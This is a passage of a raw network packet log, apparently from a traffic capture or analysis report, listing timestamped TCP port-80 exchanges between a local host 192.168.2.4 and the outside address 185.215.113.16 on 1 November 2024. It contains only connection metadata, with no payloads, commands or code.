Nov 1, 2024 08:51:20.401597977 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.401622057 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.401633978 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.401645899 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.401664972 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.401681900 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.401735067 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.401746035 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.470866919 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.470890999 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.470943928 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.470949888 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.470964909 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.470977068 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.471003056 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.471003056 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.471044064 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.471059084 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.471077919 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.471087933 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.471088886 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.471100092 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.471115112 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.471143007 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.471143007 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.519223928 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.519265890 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.519284964 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.519292116 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.519300938 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.519309044 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.519323111 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.519335032 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.519380093 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.519428015 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.588706017 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.588764906 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.588778973 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.588788986 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.588794947 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.588804960 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.588815928 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.588825941 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.588838100 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.588845015 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.588900089 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.588918924 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.636859894 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.636914968 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.636920929 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.636926889 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.636931896 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.636938095 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.636944056 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.636950016 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.636956930 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.637218952 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.706259012 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.706321001 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.706331968 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.706342936 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.706352949 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.706362963 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.706361055 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.706373930 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.706383944 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.706396103 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.706430912 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.754621983 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.754650116 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.754662037 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.754672050 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.754682064 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.754690886 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.754700899 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.754738092 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.754796982 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.755373001 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.823972940 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.824048042 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.824214935 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.824227095 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.824237108 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.824246883 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.824256897 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.824269056 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.824269056 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.824280024 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.824290037 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.824292898 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.824335098 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.864792109 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.864806890 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.864866972 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.864922047 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.872409105 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.872467995 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.872479916 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.872494936 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.872514009 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.872529030 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.872538090 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.872539043 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.872551918 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.872569084 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.872582912 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.872591972 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.872602940 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.872634888 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.941570997 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.941587925 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.941607952 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.941620111 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.941629887 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.941639900 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.941649914 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.941660881 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.941679955 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.941744089 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.989974022 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.989999056 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.990010023 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.990027905 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.990039110 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.990056992 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.990061998 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.990072966 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.990082979 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.990081072 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.990081072 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.990127087 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.990127087 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.032648087 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.032663107 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.032780886 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.059549093 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.059562922 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.059583902 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.059626102 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.059642076 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.059652090 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.059653997 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.059667110 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.059676886 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.059684992 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.059688091 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.059714079 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.059737921 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.107737064 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.107768059 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.107775927 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.107780933 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.107788086 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.107794046 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.107800007 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.107806921 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.108125925 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.177551985 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.177630901 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.177643061 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.177655935 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.177659035 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.177675962 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.177689075 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.177700043 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.177709103 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.177709103 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.177711964 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.177723885 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.177726030 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.177733898 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.177751064 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.177759886 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.177795887 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.400527954 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400543928 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400563955 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400577068 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400588036 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400588036 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.400600910 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400610924 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.400623083 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400635004 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400645018 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400651932 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.400667906 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.400675058 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400702000 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.400733948 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.400820017 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400837898 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400849104 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400861025 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400870085 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.400871992 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400882959 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400888920 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.400896072 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400914907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400922060 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.400928974 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400938034 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.400942087 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400950909 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.400968075 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.400994062 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.401005983 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.401015997 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.401026964 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.401040077 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.401051044 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.401051044 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.401063919 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.401079893 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.401084900 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.401092052 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.401099920 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.401103973 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.401115894 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.401120901 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.401125908 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.401140928 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.401145935 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.401153088 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.401165009 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.401206970 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.412765980 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.412787914 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.412831068 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.412869930 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.562846899 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.562863111 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.562875986 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.562937975 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.562973022 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.562985897 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563008070 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563020945 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563033104 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563043118 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.563045025 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563043118 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.563055992 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563066959 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.563069105 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563080072 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563091040 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563097954 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.563102961 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563116074 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563117981 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.563138008 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563138962 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.563149929 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563158989 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.563163042 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563174963 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563177109 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.563186884 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563199043 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563210011 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563224077 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563225031 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.563225031 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.563235044 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563247919 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563252926 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.563261986 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.563298941 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.563298941 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.563330889 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.579338074 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.579350948 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.579463959 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.579554081 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.649398088 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.649415016 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.649425983 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.649430990 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.649437904 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.649442911 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.649452925 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.649461985 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.649466991 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.649477005 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.649487019 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.649497032 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.649507999 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.649578094 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.649627924 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.680401087 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.680416107 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.680529118 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.744877100 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.744895935 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.744999886 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.766875982 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.766906023 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.766923904 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.766942024 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.766967058 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.766978025 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.766989946 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.767000914 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.766999960 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.767013073 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.767024040 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.767035961 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.767052889 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.767083883 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.856728077 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.856745958 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.856760025 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.856780052 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.856882095 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.856925011 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.884506941 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.884548903 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.884562016 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.884573936 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.884577036 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.884584904 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.884598970 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.884609938 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.884613037 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.884623051 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.884628057 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.884640932 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.884649038 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.884663105 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.884686947 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.884686947 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.884699106 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.884711981 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.884722948 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:21.884727955 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.884742975 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.884751081 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:21.974302053 CET	80	57660	185.215.113.16	192.168.2.4
